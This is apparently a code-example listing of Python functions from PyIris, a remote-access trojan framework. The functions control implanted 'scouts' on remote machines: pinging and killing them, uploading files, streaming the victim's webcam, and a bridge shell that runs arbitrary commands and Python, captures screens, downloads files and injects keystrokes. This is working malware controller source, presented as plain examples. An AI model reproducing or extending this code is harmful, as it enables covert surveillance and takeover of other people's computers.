Example #1
0
def main(scout_id):
    try:
        slp_scout_id = scout_id.split(' ', 2)[1]
        sleep_dur = scout_id.split(' ', 2)[2]
        if slp_scout_id == 'all':
            for i in list(config.scout_database.keys()):
                try:
                    print(config.inf + 'Sleeping scout of ID : ' + i)
                    send_all.main(config.scout_database[i][0],
                                  'sleep ' + sleep_dur)
                    data = recv_all.main(config.scout_database[i][0])
                    print(data)
                    del (config.scout_database[i])
                except socket.error:
                    print(config.neg +
                          'Scout is dead, removing from database...')
                    del (config.scout_database[i])
        else:
            send_all.main(config.scout_database[slp_scout_id][0],
                          'sleep ' + sleep_dur)
            data = recv_all.main(config.scout_database[slp_scout_id][0])
            print(data)
            del (config.scout_database[slp_scout_id])
    except KeyError:
        print(config.neg + 'Please enter a valid scout ID')
        return
    except IndexError:
        print(config.neg + 'Please enter valid arguments')
    except socket.error:
        print(config.neg + 'Scout is dead, removing from database...')
        del (config.scout_database[scout_id])
Example #2
0
def main(scout_id):
    try:
        scout_id = scout_id.split(' ', 1)[1]
        if scout_id == 'all':
            for i in list(config.scout_database.keys()):
                try:
                    print(config.inf + 'Pinging scout of ID : ' + i)
                    send_all.main(config.scout_database[i][0], 'ping')
                    data = recv_all.main(config.scout_database[i][0])
                    if not data:
                        raise socket.error
                    print(data)
                except socket.error:
                    print(config.neg +
                          'Scout is dead, removing from database...')
                    del (config.scout_database[i])
        else:
            send_all.main(config.scout_database[scout_id][0], 'ping')
            data = recv_all.main(config.scout_database[scout_id][0])
            print(data)
    except (IndexError, KeyError):
        print(config.neg + 'Please enter a valid scout ID')
        return
    except socket.error:
        print(config.neg + 'Scout is dead, removing from database...')
        del (config.scout_database[scout_id])
Example #3
0
def main(scout_id):
    try:
        send_all.main(config.scout_database[scout_id][0], 'ping')
        data = recv_all.main(config.scout_database[scout_id][0])
        print(data)
        return True
    except socket.error:
        print(config.neg + 'Scout is dead, removing from database...')
        del (config.scout_database[scout_id])
        return False
Example #4
0
def main(sock, filepath):
    try:
        filepath = filepath.split(' ', 1)[1]
        print(config.inf + 'Reading file...')
        with open(filepath, 'rb') as f:
            data = f.read()
        print(config.inf + 'Sending file data to scout...')
        send_all.main(
            sock,
            'upload ' + basename(filepath) + ' ' + b64encode(data).decode())
        response = recv_all.main(sock)
        print(response)
    except IOError:
        print(config.neg + 'File does not exist, cannot upload')
    except IndexError:
        print(config.neg +
              'Please supply valid arguments for the command you are running')
    except Exception as e:
        print(config.neg + 'Error while uploading file : ' + str(e))
Example #5
0
def main(sock):
    print(config.inf + 'Streaming clients webcam, press "q" in the live stream window to exit')
    message = recv_all.main(sock)
    if message != '[+]Successfully opened camera!':
        print(message)
        return
    print(message)
    while True:
        data = recv_all.main(sock)
        if type(data) == str:
            print(data)
            return
        else:
            frame = pickle.loads(data)
            cv2.imshow('Live stream', frame)
            if cv2.waitKey(1) & 0xFF == ord('q'):
                send_all.main(sock, "1")
                cv2.destroyAllWindows()
                print(recv_all.main(sock))
                break
            send_all.main(sock, "0")
Example #6
0
def main():
    try:
        confirm_exit = input('\n' + config.pro + 'Are you sure you want to exit[y/n] : ')
        if confirm_exit == 'y':
            print(config.inf + 'User requested shutdown...')
            if config.listener_database:
                print(config.lod + 'Killing all active listeners')
                print(config.inf + 'Sent kill message to all listeners...')
                print(config.inf + 'Waiting for response...')
                config.listener_database = {}
                while threading.active_count() > 1:
                    continue
                print(config.pos + 'Done')
            if config.scout_database:
                print(config.lod + 'Disconnecting all scouts')
                for i in config.scout_database:
                    try:
                        send_all.main(config.scout_database[i][0], 'disconnect')
                        config.scout_database[i][0].settimeout(5)
                        buffer_out_reply = recv_all.main(config.scout_database[i][0])
                        config.scout_database[i][0].close()
                        print(config.pos + 'Closed connection to scout of ID : ' + i)
                    except (socket.error, socket.timeout):
                        print(config.neg + 'Could not close connection to scout of ID : ' + i)
                        pass
                print(config.pos + 'Done')
            print(config.pos + 'Exiting...')
            os._exit(1)
        else:
            pass
    except EOFError:
        try:
            time.sleep(2)
            quit()
        except KeyboardInterrupt:
            quit()
    except KeyboardInterrupt:
        quit()
def main(scout_id):
    readline.parse_and_bind('tab: self-insert')
    try:
        scout_id = scout_id.split(' ', 1)[1]
        scout_prompt = config.scout_database[scout_id][
            1] + ':' + config.scout_database[scout_id][2]
        print(config.pos + 'Bridged to : ' + scout_id)
    except (IndexError, KeyError):
        print(config.neg + 'Please enter a valid scout ID')
        return
    while True:
        try:
            prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' +
                           'Scout\x1b[0m' +
                           '\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' +
                           scout_prompt +
                           '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip()
            command = prompt.split(' ', 1)[0].lower()
            if command == 'back':
                print(config.inf + 'Returning to scout interface...')
                return
            elif command == 'clear':
                clear.main()
            elif command == 'disconnect':
                print(send_and_recv.main(prompt, scout_id))
                del (config.scout_database[scout_id])
                print(config.inf + 'Returning...')
                return
            elif command == 'kill':
                print(send_and_recv.main(prompt, scout_id))
                del (config.scout_database[scout_id])
                print(config.inf + 'Returning...')
                return
            elif command in ('!', 'local'):
                local.main(prompt)
            elif command == 'main':
                print(config.inf + 'Returning to scout interface...')
                return 'home'
            elif command == 'python':
                python.main()
            elif command == 'quit':
                quit.main()
            elif command == 'sleep':
                data = send_and_recv.main(prompt, scout_id)
                print(data)
                if data.startswith('[*]'):
                    del (config.scout_database[scout_id])
                    print(config.inf + 'Returning...')
                    return
            elif command == 'download':
                send_all.main(config.scout_database[scout_id][0], prompt)
                download.main(config.scout_database[scout_id][0])
            elif command == 'upload':
                upload.main(config.scout_database[scout_id][0], prompt)
            elif command == 'screen':
                send_all.main(config.scout_database[scout_id][0], command)
                screen.main(config.scout_database[scout_id][0])
            elif command == 'webcam':
                send_all.main(config.scout_database[scout_id][0], command)
                webcam.main(config.scout_database[scout_id][0])
            elif command == 'ping':
                alive_bool = ping.main(scout_id)
                if not alive_bool:
                    print(config.inf + 'Returning...')
                    return
            elif command == 'exec_py_script':
                data = 'exec_py ' + python_execute_editor.main()
                print(config.inf + 'Attempting to run on scout...')
                print(send_and_recv.main(data, scout_id))
            elif command == 'exec_py_file':
                python_execute_file.main(prompt, scout_id)
            elif command == 'inj_valid':
                print('\n' + config.inf +
                      'All valid keys that can be injected : \n')
                formatted = grid_format.main(valid_keys, 5)
                for i in formatted:
                    print('   ' + ''.join(i))
                print('\n')
            elif not command:
                pass
            else:
                send_all.main(config.scout_database[scout_id][0], prompt)
                data = recv_all.main(config.scout_database[scout_id][0])
                print(data)
        except EOFError:
            try:
                time.sleep(2)
            except KeyboardInterrupt:
                quit.main()
        except KeyboardInterrupt:
            quit.main()
        except (socket.error, socket.timeout):
            print(config.neg +
                  'Scout has unexpectedly died, removing from database...')
            del (config.scout_database[scout_id])
            return
        except IndexError:
            print(
                config.neg +
                'Please supply valid arguments for the command you are running'
            )
Example #8
0
def main(data, scout_id):
    send_all.main(config.scout_database[scout_id][0], data)
    data = recv_all.main(config.scout_database[scout_id][0])
    return data